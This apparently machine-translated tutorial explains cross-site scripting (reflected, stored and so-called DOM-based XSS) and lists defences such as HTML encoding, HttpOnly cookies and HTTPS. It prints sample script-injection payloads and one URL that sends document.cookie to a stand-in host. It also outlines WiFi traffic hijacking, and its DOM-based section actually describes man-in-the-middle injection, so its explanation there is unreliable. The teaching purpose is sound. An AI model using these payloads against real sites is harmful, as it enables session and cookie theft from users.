Web Security XSS

Web Security XSS

XSS: Cross Site Scripting is the most common vulnerability in Web applications.

An attacker embeds a client script (such as JavaScript) in a Web page, and when the user browses to the page, the script executes on the user's browser to achieve the attacker's purpose. For example, get the user's cookie, navigate to a malicious website, carry a Trojan horse, etc.

First, the cause

If there is a textbox below

<input type= "text" name= "Address1" value= "Value1from" >

Value1from is the input from the user, if the user is not the input value1from, but instead enters "/><script>alert (document.cookie) </script><!- Then it will become

<input type= "text" name= "Address1" value= "/><script>alert (document.cookie) </script><!-" >

Embedded JavaScript code will be executed

Or the user enters "onfocus=" alert (document.cookie), then it becomes

<input type= "text" name= "Address1" value= "onfocus=" alert (document.cookie) ">

The embedded JavaScript code will be executed when the event is triggered.

The power of the attack depends on what kind of script the user has entered

HTML Encode

The reason that XSS occurs is because the data entered by the user becomes code. So we need to do HTML encode processing of the data entered by the user. Encode special characters such as "bracket", "single quote", "quotation mark".

Second, attack scene

• Reflected XSS (reflection-based XSS attack)
• Stored XSS (Storage-based XSS attack)
• dom-based or local XSS (based on DOM or native XSS attacks)

1. Reflected XSS

It relies on the site server to return the script, triggering execution on the client side to initiate a web attack.

If you search for content on a search site, fill in "<script>alert (' Handsome boy ') </script>" and click Search.

The current-side page does not filter the returned data and is displayed directly on the page, and the string is alert. You can then construct the address of the user's cookie, via QQ group or spam, to allow others to click on this address:

Http://www...../search?name=<script>document.location='  http://xxx/get?cookie='+document.cookie</Script  >　

Developing security measures:

1) front-end in the display of server data, not only the label content needs to be filtered, escaped, even the attribute value may also be required.

2) When the backend receives the request, the authentication request is the attack request and the attack is masked.

2. Stored XSS

By posting a post/article with a malicious cross-domain script, the malicious script is stored on the server, and each person who accesses the post/article triggers execution.

Example:

1. Send an article containing a malicious script

It's a nice day today! <script>alert (' Handsome boy ') </script>

2. The back end does not filter the article, directly save the article content to the database.

3. When other reading this article, the included malicious script will be executed.

PS: Because most of the article is to save the entire HTML content, the front-end display when also do not filter, it is very likely that this situation occurs.

Conclusion:

The backend can filter the submitted data as much as possible, and the front end needs to be dealt with without filtering the scene.

Developing security measures:

1) First of all, the server should be filtered, because the front-end check can be bypassed.

2) When the server is not checked, the front end will filter the possible malicious scripts in various ways, such as the script tag, and convert the special characters to HTML encoding.

3. dom-based XSS

A DOM-based or local XSS attack. A free wifi is usually provided, but a gateway with free WiFi will insert a script on any page you visit or return directly to a phishing page to implant a malicious script. This directly exists on the page, without having to go through the server to return is based on a local XSS attack.

Example 1:

1) A free wifi is provided.

2) Turn on a special DNS service, resolve all domain names to our computer, and set the WiFi dhcp-dns to our computer IP.

3) After connecting the WiFi users to open any website, the request will be intercepted by us. We forward to the real server based on the Host field in the HTTP header.

4) After receiving the data returned by the server, we can implement the injection of the Web script and return it to the user.

5) When the injected script is executed, the user's browser will pre-load the common script libraries of the major websites in turn.

This is actually WIFI traffic hijacking, the intermediary can see the user's every request, you can embed malicious code in the page, use malicious code to obtain the user's information, you can return to the fishing page.

　　

Conclusion:

This attack actually has nothing to do with the website itself, only the data is acquired by the middleman, and because HTTP is transmitted in plaintext, it is most likely to be stolen.

Developing security measures:

1. Using https! HTTPS will be in the request data before the handshake, so that the client and the server has a private key, the service side with this private key encryption, the client with this private key decryption, so that even if the data is intercepted, but also encrypted data.

Vulnerability Recovery

• Mark the important cookie as HTTP only so that the Document.cookie statement in JavaScript cannot get the cookie.
• Only allow users to enter the data we expect. For example: In a TextBox of age, only users are allowed to enter numbers. and the characters outside the numbers are filtered out.
• HTML Encode Processing of data
• Filter or remove special HTML tags such as: <script>, <iframe>, &lt; for <, &gt; For &quot;
• Filters the tags of javascript events. such as "onclick=", "onfocus" and so on.

Reference links

Http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

Http://www.cnblogs.com/lovesong/p/5199623.html

Https://www.cnblogs.com/index-html/p/wifi_hijack_3.html

Web Security XSS